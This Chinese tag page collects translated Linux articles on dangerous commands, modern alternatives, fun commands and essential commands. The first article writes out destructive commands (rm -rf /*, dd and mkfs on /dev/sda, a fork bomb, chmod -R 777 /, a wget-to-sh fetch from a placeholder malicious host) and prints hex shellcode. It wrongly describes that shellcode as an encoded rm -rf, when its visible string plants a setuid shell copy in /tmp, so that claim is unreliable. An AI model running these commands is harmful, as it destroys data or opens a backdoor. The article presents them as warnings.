标签 命令 下的文章

什么是最危险的 Linux 命令?

有人无数次问我这个问题,我一直避免回答,因为没有一个明确的危险的 Linux 命令清单。

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。

同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。

当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。

1、rm -rf /*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

rm 命令用来删除文件/目录。标志 -r 和 -f 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。

运行 sudo rm -rf / 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。

sudo rm -rf / --no-preserve-root

然而,一个更简单的版本可以是这样的:

sudo rm -rf /*

它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 grub-rescue 提示符下。

2、覆盖你的分区

如果你熟悉文件系统,你可能知道 /dev/sda 是什么。它(通常)是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 /dev/sda,比如说:

echo "Hello" > /dev/sda

这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。

3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null。

无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。

mv /home/user/* /dev/null

mv 命令 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。

4、格式化你的硬盘

mkfs 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

mkfs.ext3 /dev/sda

这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。

5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。

:(){ :|:& };:

& - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。

顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。

6、覆盖重要的配置文件

虽然这本身不是一个命令,但它更像是一个预防性的东西。

如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。

command > config_filename

现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。

7、用垃圾数据替换分区

/dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。

dd if=/dev/random of=/dev/sda

dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。

一个类似的效果是通过以下方式获得的:

cat /dev/urandom > filename

这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。

8、将你的系统暴露给所有人

在 Linux 中,所有东西都是文件,每个 文件都有一定的权限。

你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。

chmod -R 777 /

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

9、下载并运行恶意的内容

你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例:

你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?

虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:

wget http://malicious_source -O- | sh

这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。

10、伪装的命令

在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。

总结

pebkac

有一个著名的计算机术语 PEBKAC:“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。

因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。

UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。

我建议做这些事情以确保更安全的体验。

  • 尝试并理解你将要运行的命令。
  • 用 Timeshift 保持你的系统设置的备份
  • 用 DejaDup 保持个人数据(主目录)的备份

正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。

我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。


via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

当你 开始学习 Linux 时,最初学习的是一套标准的 Linux 命令,这些命令从 UNIX 时代就已经存在了。随着你作为一个 Linux 用户的年龄增长,你会不断地掌握这套标准命令。

但是,这些标准的、传统的命令是几十年前创建的,虽然它们完成了预定的工作,但是它们的功能还可以改进,结构还可以简化。

这就是为什么存在 “替代” 工具,以加强传统的 UNIX/Linux 命令。在这篇文章中,我将列出一些新的命令行工具,你可以用这些工具来代替旧式的经典 Linux 命令。

请注意,你不应该过分依赖这些替代品,特别是如果你管理(或计划管理)许多 Linux 服务器时。传统的 Linux 命令在所有的 Linux 发行版和 Linux 服务器上都可以找到。这些现代的替代方案很有可能在远程服务器上无法使用。

在你的个人能力范围内,你可以学习了解这些新的工具,以帮助你更有效率。

听起来不错?让我们看看你是否能在这里找到你下一个最喜欢的命令行工具。

HTTPie: wget 和 curl 的替代品

在终端下载文件 时,wget 和 curl 是两个最常用的工具。有趣的是,并不是所有的发行版都默认安装了 curl 和 wget。

HTTPie(http)以一种更人性化的方式做同样的工作。你会看到彩色的、格式化的输出,这使得它更容易理解和调试。

蝙蝠:猫的替代品

cat 命令可能是你最先学会的命令之一。它可以完成查看小型文本文件内容的工作。

但 bat 命令 更上一层楼,添加了语法高亮和 Git 集成等功能,并且还提供了分页选项。

ncdu: du 命令的替代品

Linux 中的 du 命令 用来检查一个目录的大小。这不是一个非常直观的命令,当然它的默认输出也不算非常好。

与此相比,ncdu 要好得多,它能及时提供相关信息。

它还有其他一些功能,比如用图表显示磁盘使用情况,对显示进行排序,甚至可以交互式地删除目录。

它是基于 ncurses 的,因此 “nc” 这个前缀被加到 du 中。此外,还有一个类似的 CLI 工具:gdu,也是一个 du 的替代品,因为是使用 Go 编写的,这使得它的性能得到了提升。

htop: top 命令的替代品

top 命令是 Linux 终端中的任务管理器。它是一个查看运行进程和资源消耗的好工具,但是 理解和使用 top 命令 可能很复杂。

另一方面,htop 有一个漂亮的彩色输出,并且界面比 top 命令更直观。你可以垂直和水平滚动,以图形方式配置显示的信息。你可以在 htop 的输出屏幕上交互式地杀死进程。

fd:find 命令的替代品

find 命令是最强大和最常用的 Linux 命令之一。不能想象一个系统管理员可以不使用 find 命令就能生存下去。

但是,find 命令的结构奇怪,如果你进行大量的查找操作,它可能会很慢。

一个更好、更快的替代方案是 fd 命令。fd 是用 Rust 编写的,它比其传统的竞争对手更简单、更快速。

exa:ls 命令的替代品

exa 命令行工具不止可以列出目录内容。它的默认设置更好,使用颜色来区分文件类型和元数据。exa 还可以显示一个文件的扩展属性,以及标准的文件系统信息,如 inode、块数,以及文件的各种日期和时间。

你可以使用树状视图来查看目录结构。它也有内置的 Git 支持,可以看到哪些文件被修改、提交和暂存等。

duf:df 命令的替代品

Linux 中的 df 命令 用来检查磁盘空间。虽然它在大多数情况下都不错,但一个更简单、更好的替代方法是 duf,这是一个用 Go 编写的工具。

它提供了一个所有挂载设备的概览,这很容易理解。你还可以指定一个目录/文件名并检查该挂载点的可用空间。

通过 duf,你可以对输出进行排序、列出 indoe 信息,甚至将输出保存为 JSON 格式。

太长不读:男人的替代品

我知道对于纯粹主义者来说,Linux 中的手册页 是不二之选。但是,手册页有时会过于详细和复杂,难以阅读和理解。

这就是 tldr 登场的时机。“TLDR” 是流行的互联网行话,意思是“ 太长不读 to long didn't read ”。这就是他们创建 tldr 的想法。如果你觉得手册页太长而不想阅读,tldr 通过提供命令的实际例子而将其简化了。

Neovim:Vim 的替代品

我希望我在这里没有冒犯谁,但更好的 Vim 不是 Emacs,而是 Neovim。

几年前,作为对传统的 Vi 编辑器的改进,Vim 出现了。又是几年过去了,Neovim 提出了将 Vim 扩展为一个 IDE 的想法。

它增加了现代终端的功能,如光标样式、焦点事件、括号内粘贴等,并内置了一个终端模拟器。最重要的是,你不需要忘却 Vim 的习惯就可以开始使用 Neovim。

你的选择呢?

再次强调,这些替代命令还不能完全替代原来的命令,特别是如果你管理许多 Linux 系统的话。你可能无法在所有的系统上找到并安装它们。只有你可以完全控制你的 Linux 机器时,它们才是好东西。

除此以外,你是否在这个列表中找到了一些好的替代命令行工具?是哪一个呢?另外,你知道其他一些可以 “替代” 传统 UNIX 命令的工具吗?为什么不在评论区与我们分享呢?


via: https://itsfoss.com/legacy-linux-commands-alternatives/

作者:Abhishek Prakash 选题:lujun9972 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

这些好玩的 Linux 命令也有它的用处。

 title=

Linux 的命令行可以说是资深用户和系统管理员的小窝。然而,Linux 不仅仅是大量的枯燥工作。Linux 是由爱玩的人开发的,他们还创造了一系列搞笑的命令。当你想轻松一下的时候,就可以自己试着这些。

蒸汽机车

随便什么时候,你可以使用 sl 命令使一辆 蒸汽机车 Steam Locomotive 在你的终端上跑过。可以用你的软件包管理器安装这辆蒸汽机车。例如,在 Fedora 上可以这样:

$ sudo dnf install sl

 title=

实际用途

据我所知,sl 命令确实只是为了好玩。你对 sl 有什么有趣的用途吗?请在评论中告诉我。

(LCTT 译注:sl 的实际用途就是提醒你 ls 打错了。?)

壁炉

点燃一座壁炉来温暖你的心和你的终端吧,aafire 命令会播放一段壁炉的动画。你可以用你的软件包管理器安装 aafire。在 Debian、Mint、 Elementary 之类的发行版上:

$ sudo apt install libaa-bin

在 Fedora、CentOS 之类的发行版:

$ sudo dnf install aalib

 title=

实际用途

这个动画是向你的团队或老板传达一切即将化为乌有的微妙方式。

是的

你可以使用 yes 命令打印出一串文字,直到用 Ctrl+C 强行停止。例如,我是一个 Buffalo Bills 的球迷,所以我选择用 yes 命令打印出一串无尽的 “Buffalo Bills”:

$ yes Buffalo Bills

 title=

实际用途

你可以用这个命令来向脚本输送确认信息,这样,当脚本停顿下来要求确认时,它就会自动收到 yes。例如,想象一下,你运行的一个脚本经常停下来问你确认:

$ foo
Are you sure you want to do this? Y/n  Y
Are you really sure? y/N  Y
But are you really? y/N

你可以通过向命令传递 yes 来自动接受这些信息:

$ yes | foo

另外,你也可以用 yes 来自动拒绝信息:

$ yes no | foo

命运

通过安装 fortune 命令,你可以就可以得到命运的指点。fortune 会打印出一段随机的、可能有意义的话语(LCTT 译注:来自命运的指点)。

用你的软件包管理器安装 fortune:

$ sudo apt install fortune

在 Fedora 上:

$ sudo dnf install fortune-mod

命运命令有许多数据集,它可以从中提取各种话语。例如,你可以从文学作品或科幻电视节目 《Firefly》中获得名人名言,或者从笑话、关于 Linux 的技巧等中选择。在你的资源库中搜索 fortune,看看你的发行版提供了哪些数据集。

$ fortune
Johnson's law:
  Systems resemble the organizations that create them.

实际用途

你可以用命运来生成一个伪随机数。没有足够的熵来使它在密码学上安全,但当你需要一个意外的数字时,你可以用来计算字符或单词:

$ fortune | wc --chars
38
$ fortune | wc --words
8
$ fortune | wc --chars
169

彩虹猫

彩虹猫(lolcat)是一个将文件或标准输入连接到标准输出的程序(就像一般的 cat 命令),并在其中加入彩虹色。你可以用管道将其他命令的输出连接到 lolcat,这样就可以为结果加上彩虹色。

下面是 lolcat -h 的帮助输出的结果。

 title=

(LCTT 译注:我知道 cat 是 catch。)

“FIG 来信”和横幅

“FIG 来信”(FIGlet)来源于 Frank、Ian 和 Glenn 信件中的签名艺术。这个命令(figlet)和横幅命令(banner)可以帮你创建简单的 ASCII 文本横幅。下面是一个 CentOS 系统的文本横幅:

$ figlet centos.com

 title=

将 figlet 连接到 lolcat,可以得到一个彩色的横幅:

$ figlet centos.com | lolcat

 title=

$ banner Hello World

 title=

实际用途

figlet 和 banner 都是提醒用户他们正在登录的系统的简单方法。就像许多系统管理员、网页设计师和云开发人员一样,当你和几十台服务器一起工作时,这很有帮助。

电子语音

你可以通过安装电子语音(espeak)来为你的命令行添加语音功能。

一旦 espeak 安装完毕,调高你的电脑的音量,听你的机器和你说话,会有一些乐趣。电子语音是一个软件语音合成器,有几个不同的语音库可用:

$ espeak "Linux is the best operating system.”

有趣的命令

请查阅所有这些命令的手册,以探索所有的可能性和变化。你最喜欢哪些好玩的命令,它们在现实世界中是否也有用途?请在评论中分享你的最爱。


via: https://opensource.com/article/21/11/fun-linux-commands

作者:Don Watkins 选题:lujun9972 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

无论新手老手,这 20 个 Linux 命令都能让你的操作更轻松。

 title=

在黝黑的终端窗口中输入命令,这样的方式对某些人群来说可能好像过时了,但对许多专业计算机人员来说,这几乎是计算机完成能够执行的所有任务的最有效、最简便和最清晰的方式。如今,一些项目将开源命令引入了 macOS 和 Windows 等非开放平台,因此终端命令不仅仅是针对 Linux 和 BSD 用户,更是与每个人都息息相关。你可能会惊讶地发现,在一台普通的 POSIX 计算机上安装了数千个命令,当然,其中很多命令并不是真的有用,至少不是直接或经常性被使用。而其中的一部分命令虽然不是有效终端必须使用的命令,但相比其他命令而言使用频率较高,值得大家学习一下。

以下是终端用户最可能会使用的前 20 个命令:

cd

在终端外,你可以单击图标从一个文件夹移动到另一个文件夹,但在终端中,你需要使用 cd。cd 命令代表 变更目录 change directory ,是用户在 Linux 系统中移动的方式。这是 Linux 中从一个地方到另一个地方最快、最直接的路线。

例如,在桌面上,当你想从你的主目录(你保存所有文件夹的地方)移动到一个名为 presentations 的文件夹时,你首先要打开你的 Documents 文件夹,然后打开一个名叫 work 的文件夹,然后是 projects 文件夹,然后是 conference 文件夹,最后是 presentations 文件夹,里面存放的是 LibreOffice Impress 幻灯片。这个过程包含了很多次的双击操作。同时屏幕上还需要许多鼠标移动动作,这取决于新窗口出现的位置,以及大脑需要跟踪的许多路径点。许多人通过将 所有文件 都放在桌面上来避免这个看似微不足道的任务。

而终端用户只需键入以下内容即可避免此问题:

$ cd ~/Documents/work/projects/conference/presentations

一些有经验的终端用户甚至都懒得输入所有这些,而是使用 Tab 键自动完成单词填充。更甚者,有时你都不必依赖自动完成,而是改用通配符:

$ cd ~/Doc*/work/*/conf*/p*

pwd

用 Buckaroo Banzai 的话来说:“无论你走到哪里,你就在那里。”

当你想弄清楚确切位置时,就可以使用 pwd 命令。pwd 代表 打印工作目录 print working directory ,这正是它的作用。--physical(在某些情况时缩写为 -P)显示解析所有符号链接后的确切位置。

$ pwd
/home/tux/presentation

$ pwd --physical
/home/tux/Documents/work/projects/conference/presentations

sed

流编辑器 sed 更广为人知的是一个强大的批量 查找和替换 命令,但它同时也是一个正当合理的文本编辑器。你可以通过阅读我的 介绍性文章 来学习使用它,然后通过我的 高级教程和备忘录 成为老手。

grep

grep 命令使用很普遍,以至于经常被用作动词(例如 “我会对一些文件进行 grep”)和动名词(例如 “grep 一些输出”)。无论是查看日志文件还是解析其他命令的输出,它都是在 shell 中解析文本时的关键组件。这是忙碌的用户专注于特定信息的一种方式。考虑一下计算世界中的数据量,grep 命令的流行就见怪不怪了。你可以通过阅读我的 介绍性文章 了解 grep,然后下载 备忘录 学习。

file

当你需要知道文件包含什么类型的数据时,请使用 file 命令:

$ file example.foo
example.foo: RIFF (little-endian) data, Web/P image [...]

$ file example.bar
example.bar: ELF 64-bit LSB executable, x86-64 [...]

当然,file 命令并不神奇。它只不过是根据文件如何标识自身而进行输出的,并且文件可能是错误的、损坏的或伪装的。使用 hexdump 进行严格检查的方式确定性更强,但对于日常使用而言,file 命令非常方便。

awk

awk 不仅仅是一个命令,它还是一种字面意义上的 编程语言。点此下载我们的免费 Awk 电子书 进行学习,你可能会写出远超你想象的脚本。

curl

curl 命令是用于终端的 非交互式 Web 浏览器。它是面向 Web 和 API 开发人员的 开发工具。它是一个复杂灵活的命令,但如果你想从你的终端顺利地与 Web 服务交互,该命令是很值得学习的。

下载我们免费的 curl 备忘录,你可以从中学会 curl 的许多选项。

ps

管理系统资源主要由内核负责,当你更喜欢或更需要手动管理时,可以使用 ps 命令。读者可以在我的 使用 procps-ng 监控 Linux 系统 文章中了解 ps。

cat

cat 命令 是 连接 concatenate 的缩写,它曾因为能将若干小文件合并而显得非常有用,这些小文件可能是由于大小限制而(使用 split 命令)拆分的。如今,cat 主要是用来将文本文件的内容转储到终端中以供快速阅读,除非你为此专门去使用 head、tail、more 或 less 等命令。

尽管它的原始用途几乎已被弃用,并且其他几个命令也主要提供了其次要功能,但 cat 仍然是一个有用的工具。例如,它可以是复制(cp)命令的替代品:

$ cat myfile.ogg > /backups/myfile.ogg

它可以显示文件中不便观察的隐形字符。例如,使用 --show-tabs 选项,分割 YAML 的 Tab 字符就会显示为 ^I:

$ cat --show-tabs my.yaml

---

- hosts: all
  tasks:
  - name: Make sure the current version of 'sysstat' is installed.
    dnf:
     name:
^I- sysstat
^I- httpd
^I- mariadb-server
     state: latest

它还可以用 --show-nonprinting 显示非打印字符,用 --show-ends 标记行尾,用 --number 提供行号,等等。

find

find 命令可以用来查找文件,但它还有许多选项,这些选项可以帮助你通过各种过滤器和参数查找文件。读者可以从我的 介绍性文章 中学习该命令的基础知识。

如果你一直想知道为什么最基本的、不起眼的 ls 命令,不在本文列表中,那是因为 find 的灵活性。它不仅可以列表文件:

$ find .
./bar.txt
./baz.xml
./foo.txt
[...]

它还可以提供包含详细信息的长列表功能:

$ find . -ls
3014803  464 -rw-rw-r--   1 tux users  473385 Jul 26 07:25 ./foo.txt
3014837  900 -rwxrwxr-x   1 tux users  918217 Nov  6  2019 ./baz.xml
3026891  452 -rw-rw-r--   1 tux users  461354 Aug 10 13:41 ./foo.txt
[...]

这是一个技术问题,但也是很一个巧妙的技巧。

tar

人们有时会引用 BSD 的 tar 语法来拿 Linux 命令开玩笑。尽管有这样的名声,但 tar 命令实际上非常直观。读者可以阅读我的 如何解压缩 tar.gz 文件 文章,了解在需要时使用 tar 命令的简单知识。

more、less 和 most

这些统称为分页命令。分页命令与 cat 类似,但前者会在屏幕底部暂停输出,直到你向下滚动查看更多内容。这些命令比较简单,但每个之间都有细微差别。用户是用箭头键还是空格键滚动?是必须手动退出,还是在显示的文件末尾自动退出?用户的首选搜索行为是什么样的?选择你最喜欢的分页命令并将其设置在 .bashrc 中吧!

ssh 和 scp

OpenSSH 不仅有助于保护与远程系统的连接安全,还可以用于启用其他命令。例如,对于许多用户来说,有了 .ssh 目录,他们才能与 Git 存储库顺利交互、将更新发布到网站、登录云控制平台。

mv

mv 命令有双重作用:它既可以 移动文件 又可以 重命名文件。它有几个可用的保护措施,例如 --interactive 和 --no-clobber 选项避免破坏现有文件,--backup 命令确保数据在新位置验证之前被保留,以及 --update 选项确保旧版本不会替换新版本文件。

sudo

当某个用户账户的用户名已知,且具有 全部 系统权限时,该用户很快就会成为黑客攻击的目标。sudo 命令消除了对字面上 root 用户的需求,从而优雅地移除了有关系统的重要信息。不过这还不是全部,使用 sudo 你还可以轻松地管理单个命令、用户和组的权限。你可以在选定的命令上启用无密码执行、记录用户会话、使用摘要验证来验证命令,等等。

alias

使用 alias 命令将长命令变成易于记忆的快捷方式:

$ alias ls='ls --classify --almost-all --ignore-backups --color'

clear

有时终端会显得很混乱,输入 clear(或在某些 shell 中按 Ctrl+L)后,你就能得到漂亮、刷新的屏幕了。

setfacl

传统上,POSIX 文件权限由 chown 和 chmod 决定。然而,如今系统变得更加复杂,因此有一个灵活性更高的命令。setfacl 命令允许创建一个 访问控制列表(ACL),可以配置任意用户所需权限,并可以为文件夹及其中创建的内容设置默认权限。

netcat

可能需要使用 netcat(nc)的人不多,但这些使用它的人确离不开它。nc 命令是一个通用的网络连接工具。

它可以连接到一个端口,类似于 telnet 命令:

$ nc -u 192.168.0.12 80

它可以 ping 一个端口,类似于 ping 命令:

$ nc -zvn 192.168.0.12 25

它可以探测开放端口,类似于 nmap 命令:

$ nc -zv 192.168.0.12 25-80

以上仅是该命令的一小部分用途。

你自己构建的命令

在某种程度上,Linux 终端是一个创造性解决问题的平台。当你学习命令时,你也在学习可用于创建自己的命令的组块。我的 shell 历史 中的许多命令都是自己编写的 shell 脚本,从而实现了根据自己想要的工作方式定制工作流程。你为自己的效率和舒适度而设计的命令也可以作为 shell 中的基本命令。花些时间了解一些很棒的命令,然后试着构建自己的命令吧。当你构建出的命令非常好用时,把它开源,这样就可以与他人分享你的想法啦!


via: https://opensource.com/article/21/9/essential-linux-commands

作者:Seth Kenlon 选题:lujun9972 译者:unigeorge 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

你觉得 Linux 终端里只有无趣的工作吗?那你一定不知道下面这些有趣的 Linux 命令吧。

Linux 终端是用来完成复杂的工作的,我们有很多有用的 linux 命令奇技淫巧来帮助你。

但是,你知道你还可以用终端来做很多有趣的事吗?如果你不知道,没关系,大多数 Linux 用户也都只把终端视为一个用来管理系统和开发工作的交互界面。

然而,如果你知道这里有些你可以在终端玩的基于终端的游戏和 ASCII 码游戏,你一定会大吃一惊。

在这篇文章中,我将会探索一些有趣的、可笑的、荒谬的命令来让你可以在终端中找点乐子!

用这些命令在 Linux 终端中找点乐子

你可能会觉得这些命令荒谬或没用,但是有一些还是可以被好好利用的。

我已经放上了 Ubuntu/Debian 的安装指令,如果你使用基于 Ubuntu 的发行版,请确保启用 universe 仓库,因为大多数命令不在主仓库中。

如果你使用 Arch、Fedora、SUSE、Solus 或者其他非 Ubuntu 的发行版,请使用你的发行版包管理工具去安装这些有趣的 Linux 命令。

1、在终端开一辆火车

让我们坐上火车,来一场说走就走的旅行的,没错,就是字面意思!

sl 命令可以让你在终端运行一辆火车。

安装方法:

sudo apt install sl

完成后,你只要在终端输入下面的命令就可以开始:

sl

很精彩,对吧?但等等,我们还没结束!你还可以让你的火车飞起来,只要加上参数 -F,波特先生,请飞吧:

sl -F

这样会让火车长出翅膀飞出终端窗口!

2、给你的 Linux 终端加上黑客帝国效果

还记得科幻电影黑客帝国吗?终端里掉落的绿色字符成为了黑客帝国的标志形象。

你也可以在你的 Linux 电脑里有这样的黑客帝国数字雨!你只需要安装 cmatric 然后在终端输入它就行。

在 Debian/Ubuntu Linux 上安装 cmatrix:

sudo apt install cmatrix

现在,你要做的就是输入下面的命令,在终端就会有黑客帝国屏幕了:

cmatrix

按下 Ctrl+C 来停止它,黑客先生。

3、燃起来

拿好灭火器,因为接下来你要在你的终端里点火了!

想安装它,你要输入:

sudo apt install libaa-bin

完成后,你输入下面的命令,你的终端就会燃起一团火焰:

aafire

按下 Ctrl+C 来停止它。

4、幸运饼干命令

想知道你的运气怎样但身边没有幸运饼干?

别担心,你只需在终端打出 fortune 然后按下回车。终端将会随机显示出一个幸运语,就像你从幸运饼干里得到的一样。

安装它:

sudo apt install fortune

完成后,只要在命令行打出下面的内容,你就会知道你的运气怎样:

fortune

这是一个你可以实际使用的命令。你可以用它作为每日消息,这样在多用户环境下,每个用户登录后都会得到一个“幸运饼干”。

你也可以把它添加到 bashrc 文件,这样当你登进终端你就会看到了。

5、宠物爱好者?这是给你准备的

oneko 是一个有趣的命令,可以把你的光标变成一只老鼠,然后创造一只好奇的猫,一旦你移动光标,就会来追你。这不仅局限于终端。当猫追逐光标时,你可以继续工作。

如果你家里有孩子这一定很有趣。

用下面的命令安装 oneko:

sudo apt install oneko

用下面的命令运行它:

oneko

如果你不喜欢猫,喜欢狗,输入:

oneko -dog

它有很多种小宠物,你可以用 oneko -help 获取信息。按下 Ctrl+C 终止它。

6、有个小兄弟在看着你

xeyes 是一个很小的 GUI 程序,它可以绘制出一双眼睛一直盯着你!它会不断跟随你的鼠标光标,运行命令自己看看!

你可以用下面命令安装:

sudo apt install xeyes

然后这样用它:

xeyes

按下 Ctrl+C 终止它。

7、让终端帮你讲话

打开你的扬声器,你来试试这个命令,eSpeak 是一个有趣的命令,它可以让你的终端说话。是的,你没听错。

先安装这个包:

sudo apt install espeak

接下来,你只需要输入在命令行中输入你想听到的话:

espeak "Type what your computer says"

无论你在双引号里面填什么,你的电脑都会复述出来!它就像在 Linux 中的 echo 命令,但不是打印出来,而是说出来。

8、Toilet(但与洗手间无关)

这听起来有点奇怪,是的。但是,这只是一个命令,用来将文本转换成大的 ASCII 字符。

用这个命令安装 toilet:

sudo apt install toilet

完成后,你只需输入:

toilet sample text you want

我也不知道为啥这个小程序叫 Toilet。

9、那个牛说什么?

cowsay 是一个在终端中用 ASCII 字符展示出一头牛的命令。通过这个命令,你可以控制牛说出你想说的话。

别纠结声音,它只展示文本(就是你看漫画书一样)。

Cowsay Cowthink

安装 cowsay:

sudo apt install cowsay

安装完成后,你只要输入:

cowsay "your text"

无论你在双引号里填什么,你的牛都会说!我看到一些系统管理员用它来展示每天的消息。你也可以这样,你甚至可以把它和 fortune 命令结合。

10、旗帜

banner 命令与 toilet 命令相似,但它限制最多只能打印 10 个字符。

你可以这样安装 banner 命令:

sudo apt install sysvbanner

然后这样运行:

banner "Welcome"

替换双引号里的内容,你将会得到你想要的展示内容。

11、Yes

yes 命令帮助你在循环中自动响应直到终止命令。这个命令将会一直打印相同的内容。如果你想快速生成大量垃圾文本,那么此命令将像超级按钮一样工作。

你也可以使用它为命令提供 yes 应答(如果提示应答时)。例如,apt upgrade 命令会要求你确认,你可以像这样使用它:

yes | sudo apt upgrade

你不需要安装任何包,yes 命令已经存在了。

想要终止 yes 命令循环,只需按下 CTRL+C。

12、得到一个新的身份

要生成一个随机的假身份吗?我推荐你用 rig 命令。你在终端运行它,就会生成一个假的身份。

用这个命令安装 rig:

sudo apt install rig

只需像这样输入:

rig

它可能被用在脚本或者 web 应用中展示随机信息,但我自己还没做过什么。

结尾

我希望你会喜欢这个有趣的 Linux 命令列表。你最喜欢哪个命令呢?你还知道其他有趣的命令吗?请在评论部分与我们分享。


via: https://itsfoss.com/funny-linux-commands/

作者:Srimanta Koley 选题:lujun9972 译者:Zioyi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

在这有关 Linux 命令的十大文章中,了解如何使 Linux 发挥所需的作用。

很好地使用 Linux 意味着了解有哪些命令以及它们可以为你执行的功能。

《在 Linux 命令行下使用“原力”》

原力 force 有光明的一面和黑暗的一面。正确理解这个对于真正掌握它至关重要。Alan Formy-Duval 在他的文章《在 Linux 命令行下使用“原力”》中,解释了一些流行的、有时是危险的命令的 -f 选项(也称为 --force)。

《Linux useradd 命令介绍》

共享帐户是一个坏主意。相反,请使用典型的 useradd 命令为不同的人(甚至是不同的角色)分配单独的帐户。作为其经典的 Linux 管理基础系列的一部分,Alan Formy-Duval 提供了《Linux useradd 命令介绍》,并且像往常一样,他用朴实明白的语言对其进行了解释,以便新老管理员都可以理解。

《用 Linux 命令显示硬件信息》

机器里面是什么?有时不使用螺丝刀检查硬件很有用。无论是你正在使用的计算机,还是在商店购买前进行测试的计算机、或者是正在尝试维修的计算机,在《用 Linux 命令显示硬件信息》中,Howard Fosdick 提供了或流行或晦涩难懂的命令,以帮助你深入了解计算机的硬件信息。

《如何在 Linux 上使用 gocryptfs 加密文件》

